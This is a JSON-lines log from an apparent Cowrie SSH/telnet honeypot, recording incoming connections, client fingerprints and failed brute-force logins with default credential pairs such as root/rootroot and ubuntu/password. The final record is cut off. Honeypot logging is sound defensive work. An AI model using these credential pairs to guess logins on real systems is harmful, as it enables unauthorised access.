{"eventid":"cowrie.session.closed","duration":"20.4","message":"Connection lost after 20.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:39.277557Z","src_ip":"91.92.42.227","session":"77ef4489ee3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42762,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ae939016e69","protocol":"ssh","message":"New connection: 45.156.87.147:42762 (10.17.0.5:22) [session: 6ae939016e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:41.762085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:41.765857Z","src_ip":"45.156.87.147","session":"6ae939016e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:41.853025Z","src_ip":"45.156.87.147","session":"6ae939016e69","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:41.971042Z","src_ip":"91.92.42.227","session":"dbffeafa6b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:41.976192Z","src_ip":"91.92.42.227","session":"dbffeafa6b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"qwerty","message":"login attempt [ansible/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:42.103974Z","src_ip":"45.156.87.147","session":"6ae939016e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:42.225745Z","src_ip":"91.92.42.227","session":"9767bec4dd0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54798,"dst_ip":"10.17.0.5","dst_port":23,"session":"222c27c247df","protocol":"telnet","message":"New connection: 94.23.66.112:54798 (10.17.0.5:23) [session: 222c27c247df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:43.056735Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:43.188298Z","src_ip":"45.156.87.147","session":"6ae939016e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":54016,"dst_ip":"159.203.135.109","dst_port":23,"session":"979a91a73b78","protocol":"telnet","message":"New connection: 172.81.62.90:54016 (159.203.135.109:23) [session: 979a91a73b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:43.468219Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42766,"dst_ip":"10.17.0.5","dst_port":22,"session":"f86da9cccbbe","protocol":"ssh","message":"New connection: 45.156.87.147:42766 (10.17.0.5:22) [session: f86da9cccbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.612451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.617406Z","src_ip":"45.156.87.147","session":"f86da9cccbbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.702162Z","src_ip":"45.156.87.147","session":"f86da9cccbbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.903119Z","src_ip":"91.92.42.227","session":"9767bec4dd0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43776,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f9c511b4dc1","protocol":"ssh","message":"New connection: 91.92.42.227:43776 (10.17.0.5:22) [session: 0f9c511b4dc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.910368Z"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:47.954145Z","src_ip":"45.156.87.147","session":"f86da9cccbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":50622,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd52141912d","protocol":"ssh","message":"New connection: 103.252.123.105:50622 (159.203.135.109:22) [session: 7fd52141912d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:48.635453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:48.639505Z","src_ip":"103.252.123.105","session":"7fd52141912d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:48.862877Z","src_ip":"103.252.123.105","session":"7fd52141912d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.064556Z","src_ip":"45.156.87.147","session":"f86da9cccbbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46356,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d649fe3714","protocol":"ssh","message":"New connection: 80.94.92.184:46356 (159.203.135.109:22) [session: b6d649fe3714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.096509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.549368Z","src_ip":"80.94.92.184","session":"b6d649fe3714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.553541Z","src_ip":"80.94.92.184","session":"b6d649fe3714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.778218Z","src_ip":"91.92.42.227","session":"4cea825a4aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tuanwei","password":"tuanwei123","message":"login attempt [tuanwei/tuanwei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:49.789108Z","src_ip":"103.252.123.105","session":"7fd52141912d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12","message":"login attempt [solv/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:50.554235Z","src_ip":"80.94.92.184","session":"b6d649fe3714","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:50.885918Z","src_ip":"91.92.42.227","session":"0f9c511b4dc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:50.890237Z","src_ip":"91.92.42.227","session":"0f9c511b4dc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:51.014570Z","src_ip":"103.252.123.105","session":"7fd52141912d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:51.988778Z","src_ip":"80.94.92.184","session":"b6d649fe3714","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":53896,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff9d3c7fceb","protocol":"telnet","message":"New connection: 94.23.66.112:53896 (10.17.0.5:23) [session: 6ff9d3c7fceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:52.799978Z"}
{"eventid":"cowrie.session.closed","duration":0.0060961246490478516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:52.805841Z","src_ip":"94.23.66.112","session":"6ff9d3c7fceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:53.309336Z","src_ip":"91.92.42.227","session":"4cea825a4aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51512,"dst_ip":"10.17.0.5","dst_port":22,"session":"71fe776e5e31","protocol":"ssh","message":"New connection: 45.156.87.147:51512 (10.17.0.5:22) [session: 71fe776e5e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:53.507194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:53.510528Z","src_ip":"45.156.87.147","session":"71fe776e5e31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:53.593043Z","src_ip":"45.156.87.147","session":"71fe776e5e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:53.855056Z","src_ip":"45.156.87.147","session":"71fe776e5e31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.148573875427246,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:54.205190Z","src_ip":"94.23.66.112","session":"222c27c247df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:54.943856Z","src_ip":"45.156.87.147","session":"71fe776e5e31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:55.018885Z","src_ip":"91.92.42.227","session":"dbffeafa6b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36886,"dst_ip":"10.17.0.5","dst_port":22,"session":"43cc518590a5","protocol":"ssh","message":"New connection: 91.92.42.227:36886 (10.17.0.5:22) [session: 43cc518590a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:56.031727Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":44146,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f99009401f2","protocol":"ssh","message":"New connection: 8.219.200.1:44146 (10.17.0.5:22) [session: 5f99009401f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:57.363808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:57.367946Z","src_ip":"8.219.200.1","session":"5f99009401f2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:44:58.164650Z","src_ip":"91.92.42.227","session":"43cc518590a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 